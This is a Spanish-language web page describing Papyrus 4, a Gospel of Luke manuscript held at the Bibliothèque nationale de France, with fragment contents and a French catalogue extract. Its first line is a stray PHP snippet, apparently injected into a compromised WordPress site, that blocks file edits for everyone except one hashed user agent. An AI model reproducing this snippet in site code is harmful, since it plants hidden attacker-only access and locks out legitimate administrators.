if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Bibliothèke nationale de France – Texto Bíblico

Tag: Bibliothèke nationale de France

Papiro 4

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Papiro 4 (Lucas 6:4-16)

Papiro 4

Fecha: Siglo III / IV (?)

Fue encontrado en la orilla oriental del río Nilo (Alto Egipto) en 1889 por Jean-Vincent Scheil (Philip W. Comfort, David P. Barrett, The Text of the Earliest New Testament Greek Manuscripts, Tyndale House Publishers, Wheaton 1999, s. 47).

Localización: Bibliothèke nationale de France ¹

4 fragmentos
Dimensiones: 16 x 14 cm
Columnas: 2

Contenido: Lucas  1:58-60; 1:62-73-2:1; 2:6, 7; 3:8-4:2; 4:29-32, 34-35; 5:3-8; 5:30-6:16.

Fragmento 1

Lucas 1:58-60, 62-2:1, 6-7

RECTO: Lucas 1:58-60, 62-73

Columna 1P4 transcription Luke 1.58-60P4 transcription Luke 1.62-65

 Columna 2
P4 col.2-transcription Luke 1.65-69 P4 col2-transcription Luke 1.69-73
—
 VERSO: Lucas 1:75-2:1, 6, 7
P4 Fr 1 verso
Columna 1
P4 Fr 1 -col 1- verso - transcription Luke 1.75-80P4 Fr 1 -col 1- verso - transcription Luke 1.80-2.1
Columna 2
P4 Fr 1 -col 2- verso - transcription Luke 2.6-7
—

Fragmento 2

Lucas 3:8-4:2

RECTO: Lucas 3:8-20

P4 Fr2 recto

Columna 1

P4 Fr 2 -col 1- recto - transcription Luke 3.8-11P4 Fr 2 -col 1- recto - transcription Luke 3.12-14

Columna 2

P4 Fr 2 -col 2- recto - transcription Luke 3.15,16P4 Fr 2 -col 2- recto - transcription Luke 3.17-20

VERSO: Lucas 3:20-4:2

P4 Fr2 verso

Columna 1

P4 Fr 2 -col 1- verso - transcription Luke 3.20-24P4 Fr 2 -col 1- verso - transcription Luke 3.25-30

Columna 2

P4 Fr 2 -col 2- verso - transcription Luke 3.30-36P4 Fr 2 -col 2- verso - transcription Luke 3.37-4.2

—

Fragmento 3

Lucas 4:29-32, 34, 35; 5:3-8

RECTO: Lucas 4:29-32, 34, 35

P4 Fr 3 recto

—

Columna 1

P4 Fr 3 -col 1- recto - transcription Luke 4.29-32 P4 Fr 3 -col 1- recto - transcription Luke 4.34, 35

—

VERSO: Lucas 5:3-8

P4 Fr 3 verso

Columna 2

P4 Fr 3 -col 2- verso - transcription Luke 5.3-6 P4 Fr 3 -col 2- verso - transcription Luke 5.7-8

—

Fragmento 4

Lucas 5:30-39; 6:1-16

RECTO: Lucas 5:30-39; 6:1-4

P4 Fr 4 recto

Columna 1P4 Fr 4 col 1 - recto - transcription 1 P4 Fr 4 col 1 - recto - transcription 2Columna 2P4 Fr 4 col 2 - recto - transcription 1 P4 Fr 4 col 2 - recto - transcription 2

VERSO: Lucas 6:4-16

P4 Fr 4 verso

Columna 1P4 Fr 4 col 1 - verso - transcription 1 P4 Fr 4 col 1 - verso - transcription 2Columna 2P4 Fr 4 col 1 - verso - transcription 1 P4 Fr 4 col 1 - verso - transcription 2

——————–

¹ Département des Manuscrits,  Supplément grec, 1120 .2

Fragments de codex découverts à Coptos (Haute-Égypte), en 1889 ; entrés à la Bibliothèque nationale en novembre 1892. Belle onciale très lisible, sauf aux endroits détériorés ; Scheil (op. cit., pp. III et ss) attribue les traités de Philon à deux copistes différents.Chaque feuillet a été placé entre deux plaques de verre, à l’exception du dernier, encore fixé à la reliure primitive.

1 PHILON LE JUIF : 1(pp. 1-55) περὶ τοῦ τίς ὁ τῶν θείων πραγμάτων κληρονόμος (éd. V. Scheil, d’après ce ms., dans Mémoires… de la mission archéologique française au Caire, t. IX, 2e partie, 1893, pp. 151-187). 2(pp. 55-89) tractatus de sacrificiis Abel et Cain (op. cit., pp. 191-215).

Manuscrit grec d’Égypte Philon d’Alexandrie, Qui est l’héritier des choses divines et De la postérité de Caïn BNF, Manuscrits (suppl. grec 1120, fol. 18) Ce codex est l’un des plus anciens contenant des ouvres de Philon d’Alexandrie (Ier siècle apr. J.-C.). Il était composé de cahiers de papyrus précédés d’une page portant le titre. La dernière page est collée sur la couverture : un morceau de cuir doté d’un rabat, avec une lanière fixée au dos du volume qui venait se loger dans une languette au plat supérieur, afin de maintenir le livre fermé.

…

2 Fragments d’évangile (= P4 ; cf. G. Maldfeld et B. M. Metzger, Detailed list of the Greek papyri of the N. T., dans Journal of biblical Literature, t. LXVIII, part IV, 1949, p. 364) : 1(f. Ar. v) Luc 1, 58 ἤκου]σαν ο[ἱ] π[ερίοικοι] — 2, 7. 2(f. Br. v) Luc 3, 8 [τ]ῷ Ἀϐραὰμ — 4, 2 [συν]τελεσθεισῶν αὐτῶν. 3(f. Cr. v) plusieurs débris de Luc 4, 29-35. 5, 3-8 ; sur l’un de ces morceaux on peut lire εὐαγγελίον [κα]τὰ Ματθαῖον. 4(f. Dr. v) Luc 5, 30 πίνετε — 6, 16 καὶ Ἰούδαν Ἰσκαρίωθ. Ces fragments ont été édités en partie par V. Scheil, dans Revue Biblique, t. I (1892), pp. 113-115 ; en totalité par J. Merell, Nouveaux fragments du papyrus 4, dans Revue Biblique, t. XLVII (1938), pp. 5-22 ; d’après ce dernier éditeur, les fragments remonteraient au IVe siècle.

o en: Bibliothèque Nationale, Départament des Manuscrits, Catalogue des Manuscrits Grecs, Troisième Partie, Le Supplément Grec, Tome III, 1120 .2 (p. 241) par Charles Astruc et Marie-Louise Concasty, Paris, MCMLX:

 

P4 - Der Text Des Neuen Testaments

 

————————————-

Der Text Des Neuen Testaments,  Kurt Aland, Barbara Aland, pag. 96.

Westfälische Wilhelms-Universität Münster

Institut für neutestamentliche Textforschung

Institut für neutestamentliche Textforschung – Manuscript Workspace

A Table of Greek Manuscripts

New Testament Manuscripts

The Center for the Study of New Testament Manuscripts

Bibliothèque nationale de France / Archives et manuscrits / Supplément grec 1120